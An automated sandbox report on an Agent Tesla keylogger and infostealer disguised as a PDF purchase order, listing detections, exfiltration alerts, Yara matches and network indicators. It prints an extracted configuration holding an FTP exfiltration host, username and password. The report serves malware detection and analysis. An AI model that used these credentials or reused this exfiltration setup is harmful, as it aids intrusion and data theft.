2024-09-25T14:42:49.076789+0200	2855542	1	A Network Trojan was detected	192.168.2.9	55431	110.4.45.197	54539	TCP
2024-09-25T14:42:49.082015+0200	2855542	1	A Network Trojan was detected	192.168.2.9	55431	110.4.45.197	54539	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 19.2.sgxIb.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: z38PO_20248099-1_pdf.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: z38PO_20248099-1_pdf.exe

Joe Sandbox ML: detected

Source: z38PO_20248099-1_pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:55429 version: TLS 1.2

Source: z38PO_20248099-1_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: xaHV.pdbSHA256? source: z38PO_20248099-1_pdf.exe, FrFvspxoHsPs.exe.0.dr, sgxIb.exe.10.dr
Source:	Binary string: xaHV.pdb source: z38PO_20248099-1_pdf.exe, FrFvspxoHsPs.exe.0.dr, sgxIb.exe.10.dr

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 4x nop then jmp 07114AC0h	0_2_071145C0
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 4x nop then inc dword ptr [ebp-0Ch]	11_2_055C5454
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 4x nop then jmp 06D93D60h	21_2_06D93860

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:55431 -> 110.4.45.197:54539
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:49719 -> 110.4.45.197:58009
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:49717 -> 110.4.45.197:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:55430 -> 110.4.45.197:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:49723 -> 110.4.45.197:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:49726 -> 110.4.45.197:53264

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 110.4.45.197 ports 65044,63289,57088,53264,60779,54891,58978,52851,59326,54510,57687,50852,55829,54539,1,56820,51370,60205,60403,54484,2,58009,63809,56189,51237,50701,60062,21

Source: global traffic

TCP traffic: 192.168.2.9:49715 -> 110.4.45.197:54484

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: EXABYTES-AS-APExaBytesNetworkSdnBhdMY EXABYTES-AS-APExaBytesNetworkSdnBhdMY

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown

FTP traffic detected: 110.4.45.197:21 -> 192.168.2.9:49712 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.haliza.com.my

Source: z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002A3C000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002B13000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002C35000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.00000000035CD000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003681000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.000000000358E000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000330B000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000325F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.haliza.com.my
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1446067123.0000000002C02000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000B.00000002.1494492070.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000010.00000002.1556961678.00000000032C2000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000015.00000002.1639610353.0000000002625000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55429
Source: unknown	Network traffic detected: HTTP traffic on port 55429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:55429 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, SKTzxzsJw.cs	.Net Code: _71ZRqC1D
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, SKTzxzsJw.cs	.Net Code: _71ZRqC1D

Installs a global keyboard hook

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: z38PO_20248099-1_pdf.exe
Source: initial sample	Static PE information: Filename: z38PO_20248099-1_pdf.exe

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_0102DF9C	0_2_0102DF9C
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_050BA070	0_2_050BA070
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_050BF398	0_2_050BF398
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_050B5BF8	0_2_050B5BF8
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_07116588	0_2_07116588
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 0_2_07110040	0_2_07110040
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_02654A68	10_2_02654A68
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_0265E9F8	10_2_0265E9F8
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_02653E50	10_2_02653E50
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_0265AF37	10_2_0265AF37
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_02654198	10_2_02654198
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064AC52C	10_2_064AC52C
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A3784	10_2_064A3784
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A6096	10_2_064A6096
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A53A8	10_2_064A53A8
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A53A2	10_2_064A53A2
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064A1CC0	10_2_064A1CC0
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C56A8	10_2_064C56A8
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C6700	10_2_064C6700
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C3578	10_2_064C3578
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064CB342	10_2_064CB342
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C7E90	10_2_064C7E90
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C274A	10_2_064C274A
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C77B0	10_2_064C77B0
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064CE4C8	10_2_064CE4C8
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C0040	10_2_064C0040
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C5DF7	10_2_064C5DF7
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Code function: 10_2_064C003E	10_2_064C003E
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_01454AFF	11_2_01454AFF
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_0145DF9C	11_2_0145DF9C
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_055982F8	11_2_055982F8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_05590518	11_2_05590518
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_05590508	11_2_05590508
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_055982EA	11_2_055982EA
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_055C5B97	11_2_055C5B97
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 11_2_055C5BA8	11_2_055C5BA8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_03214A68	15_2_03214A68
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_0321E9F8	15_2_0321E9F8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_03213E50	15_2_03213E50
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_03214198	15_2_03214198
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F3C6CC	15_2_06F3C6CC
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F31AA8	15_2_06F31AA8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F35542	15_2_06F35542
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F35548	15_2_06F35548
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F31E68	15_2_06F31E68
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F456A8	15_2_06F456A8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F46700	15_2_06F46700
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F43578	15_2_06F43578
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F47E90	15_2_06F47E90
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F477B0	15_2_06F477B0
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F42710	15_2_06F42710
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F4E4C8	15_2_06F4E4C8
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F40040	15_2_06F40040
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F45DF7	15_2_06F45DF7
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Code function: 15_2_06F4003E	15_2_06F4003E
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_01704AFF	16_2_01704AFF
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_0170DF9C	16_2_0170DF9C
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_058682F8	16_2_058682F8
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05860508	16_2_05860508
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05860518	16_2_05860518
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_058604C0	16_2_058604C0
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_058682EB	16_2_058682EB
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05ECA070	16_2_05ECA070
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05ECF398	16_2_05ECF398
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC5C08	16_2_05EC5C08
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC5C00	16_2_05EC5C00
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 16_2_05EC5BF8	16_2_05EC5BF8
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_03024A68	19_2_03024A68
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_0302E8D8	19_2_0302E8D8
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_03023E50	19_2_03023E50
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_0302AC70	19_2_0302AC70
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_03024198	19_2_03024198
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD56B0	19_2_06DD56B0
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD6708	19_2_06DD6708
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD3580	19_2_06DD3580
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD7E98	19_2_06DD7E98
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD77B8	19_2_06DD77B8
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD0040	19_2_06DD0040
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD5DFF	19_2_06DD5DFF
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 19_2_06DD0007	19_2_06DD0007
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 21_2_00C3DF9C	21_2_00C3DF9C
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 21_2_06D95768	21_2_06D95768
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 21_2_06D90040	21_2_06D90040
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 21_2_06D95178	21_2_06D95178
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_01514A68	24_2_01514A68
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_0151AC70	24_2_0151AC70
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_01513E50	24_2_01513E50
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_01514198	24_2_01514198
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_0151E9BF	24_2_0151E9BF
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC6708	24_2_06CC6708
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC3580	24_2_06CC3580
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC77B8	24_2_06CC77B8
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CCE4D0	24_2_06CCE4D0
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC5DFF	24_2_06CC5DFF
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC2349	24_2_06CC2349
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC0040	24_2_06CC0040
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 24_2_06CC003F	24_2_06CC003F

Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1446067123.0000000002C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename472d0e4f-32a4-4ea2-b137-597340264f0d.exe4 vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename472d0e4f-32a4-4ea2-b137-597340264f0d.exe4 vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 00000000.00000000.1387309035.000000000067A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamexaHV.exeb! vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1440691328.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 00000000.00000002.1449696079.0000000007630000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe, 0000000A.00000002.3854298767.00000000008F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs z38PO_20248099-1_pdf.exe
Source: z38PO_20248099-1_pdf.exe	Binary or memory string: OriginalFilenamexaHV.exeb! vs z38PO_20248099-1_pdf.exe

Source: z38PO_20248099-1_pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
